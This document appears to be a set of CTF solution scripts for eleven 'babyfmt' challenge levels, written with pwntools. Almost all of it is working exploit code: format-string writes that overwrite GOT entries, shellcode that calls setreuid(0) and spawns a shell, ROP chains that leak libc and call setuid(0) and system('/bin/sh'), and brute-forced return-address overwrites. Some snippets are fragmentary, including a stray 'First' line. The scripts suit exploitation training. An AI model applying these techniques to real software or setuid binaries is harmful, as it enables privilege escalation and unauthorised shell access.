level1

```
from pwn import *

context.arch = "amd64"
binfile = "/challenge/babyfmt_level1"
bin = ELF(binfile)
win_addr = bin.symbols['win']
printf_got = bin.got['printf']


def exec_fmt(payload):
  io = process(binfile)
  data = io.recv()
  payload = payload.decode().replace("END", "HEYHEY").encode()
  io.sendline(payload)
  data = io.recv()
  data = data.decode().replace("HEYHEY", "END").encode()
  io.close()
  return data


autofmt = FmtStr(exec_fmt)
offset = autofmt.offset

payload = fmtstr_payload(offset, {printf_got: win_addr})
io = process(binfile)
io.sendline(payload)
io.sendline("123")
io.interactive()
```

level2

```
from pwn import *
path = "/challenge/babyfmt_level2"
e = ELF(path)
context.arch = e.arch


def exec_fmt(payload):
  io = process(path)
  io.recv()
  io.sendline(payload)
  io.recvline()
  data = io.recv()
  io.close()
  return data


written = b"Your input is:                                \n"
```

```
def exp(payload: bytes):
  io = process(path)
  io.recv()
  print(payload)
  io.sendline(payload)
  io.interactive()


exit_got = e.got["exit"]
win_addr = e.symbols["win"]
autofmt = FmtStr(exec_fmt, numbwritten=len(written))
autofmt.write(exit_got, win_addr)
autofmt.execute_fmt = exp
autofmt.execute_writes()
```

level3

```
import re
from pwn import *
path = "/challenge/babyfmt_level3"
bin = ELF(path)
context.arch = bin.arch

io = process(path)
# get buf_addr
data = io.recvuntil(b'overflow\n')
# print(data)
buf_addr = int(re.findall(rb'buffer address: (.*)\n', data)[0], 16)
rip_addr = buf_addr + 536
# print(hex(buf_addr),hex(rip_addr))
# write /bin/sh shellcode to buffer
code = shellcraft.setreuid(0) + shellcraft.sh()
io.sendline(asm(code))

def sendpayload(payload):
    io.sendline(payload)

# get fmtstr offset
leading = b"Your input is:     \n"
auto = FmtStr(sendpayload, numbwritten=len(leading), offset=53, padlen=4)
auto.write(rip_addr, buf_addr)
auto.execute_writes()
# get shell
io.interactive()
```

level4

```
from pwn import *
path = "/challenge/babyfmt_level4"
e = ELF(path)
context.arch = e.arch

def exec_fmt(payload: bytes):
  io = process(path)
```

```
  io.recv()
  io.sendline("1")
  io.recv()
  io.sendline(payload)
  data = io.recv()
  io.close()
  return data

leading = "Your input is:                  \n"
auto = FmtStr(execute_fmt=exec_fmt, numbwritten=len(leading))


io = process(path)
io.recv()
io.sendline("1"*100)
io.recv()

def sendpayload(payload):

 io.sendline(payload)

win_addr = e.symbols["win"]
auto.execute_fmt = sendpayload
auto.write(e.got["__stack_chk_fail"], win_addr)
auto.execute_writes()
io.interactive()
```

level5

```
from re import L
from pwn import *
path = "/challenge/babyfmt_level5"

bin = ELF(path)
context.arch = bin.arch
context.endian = bin.endian

leading = "Your input is:                \n"


def exec_fmt(payload):
  io = process(path)
  io.recv()
  io.sendline(payload)
  data = io.recv()
  io.close()
  return data


auto = FmtStr(execute_fmt=exec_fmt, numbwritten=len(leading))
print(auto.offset, auto.padlen)
io = process(path)
io.recvuntil(b'\n\n\n')
```

```
def sendpayload(payload):
 io.sendline(payload)
auto.execute_fmt = sendpayload
auto.write(bin.got['exit'], bin.symbols['win'])
auto.write(0x6020A0, 1)
auto.execute_writes()
io.interactive()
```

level 6

```
from pwn import *
path = "/challenge/babyfmt_level6"
bin = ELF(path)
context.arch = bin.arch
context.endian = bin.endian

for i in range(0xff):
    try:
        io = process(path)
        io.recvuntil(b'some bytes!\n\n\n')

        print(p8(i))
        data = cyclic(0x650+0x8)+b'\x7d'+p8(i)
        io.send(data)
        ret = io.recv()
        if b'flag' in ret:
            print(ret)
            break
        #io.interactive()
    except:
        pass

    # 0x55b02718ace0
    # 0x55b02718aa7d
```

level7

```
from pwn import *
path = "/challenge/babyfmt_level7"
bin = ELF(path)
context.arch = bin.arch
context.endian = bin.endian
io = process(path)
data = b'\x11'*0x138+b'\xa7'+b'\x0a'

io.send(data)
io.interactive()
```

level8

```
from pwn import *


path = "/challenge/babyfmt_level8"
bin = ELF(path)
context.arch = bin.arch

io = process(path)
r = ROP(bin)
r.win(1, 3)
data = cyclic(0x310+0x8)+bytes(r)
io.send(data)
io.interactive()
```

level 9

```
from pwn import *

path = "/challenge/babyfmt_level9"
bin = ELF(path)
context(arch=bin.arch, endian=bin.endian)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

new_stack_addr = 0x602800

io = process(path)
io.recvuntil(b'!\n\n\n')
 First
# rop1
# leak libc
#migrate stack position to allow the second rop
r1 = ROP(bin)
r1.puts(bin.got['puts'])
r1.puts(bin.got['read'])
r1.ret2csu(0, new_stack_addr, 0x100, call=bin.got['read'])
r1.migrate(new_stack_addr)


io.sendline(b'\x00' + cyclic(0x6a0+8-1)+bytes(r1))

# get libc addr
data = [io.recvline().strip(), io.recvline().strip()]
puts_addr = int.from_bytes(data[0], 'little')
read_addr = int.from_bytes(data[1], 'little')

libc_addr = puts_addr - libc.sym["puts"]
system_addr = libc.sym['system']+libc_addr
setuid_addr = libc.sym['setuid']+libc_addr
binsh_addr = next(libc.search(b'/bin/sh'))+libc_addr

# rop2
# system(/bin/sh)
r2 = ROP(bin)
r2.call(setuid_addr, [0])
```

```
r2.call(r2.ret)
r2.call(system_addr, [binsh_addr])

io.send(bytes(r2))
io.interactive()
# -rwsr-xr-x
```

level10

```
from pwn import *
path = '/challenge/babyfmt_level10'
bin = ELF(path)
context.arch = bin.arch

io = process(path)
data = io.recvuntil(b'bytes!\n\n')
ret_addr = int(re.findall(
    rb'Return address is located at (.*)\n', data)[0], 16)
payload = cyclic(0x210+8)+pack(ret_addr+8)+asm(shellcraft.cat('/flag'))
io.sendline(payload)
io.interactive()
# get shell
```

level11

```
from pwn import *

context.arch = "amd64"
path = "/challenge/babyfmt_level11"
bin = ELF(path)
win_addr = bin.symbols['win']
printf_got = bin.got['printf']


def exec_fmt(payload):
  io = process(path)
  data = io.recv()
  payload = payload.replace(b"END", b"EENNDD")
  io.sendline(payload)
  data = io.recv()
  data = data.replace(b"EENNDD", b"END")
  io.close()
  return data


leading = 'Your input is:         \n'
auto = FmtStr(exec_fmt, numbwritten=len(leading))
io = process(path)


def exec2(payload):
  payload = payload.replace(b"END", b"EENNDD")
  io.sendline(payload)
```

```
  data = io.recv()
  data = data.replace(b"EENNDD", b"END")
  return data


auto.execute_fmt = exec2
ret_addr = auto.leak_stack(197)
#print(hex(ret_addr))
bin.address = ret_addr - 0x0db0

auto.write(bin.got['printf'], bin.symbols['win'])
auto.execute_writes()
io.interactive()
# auto.write()
```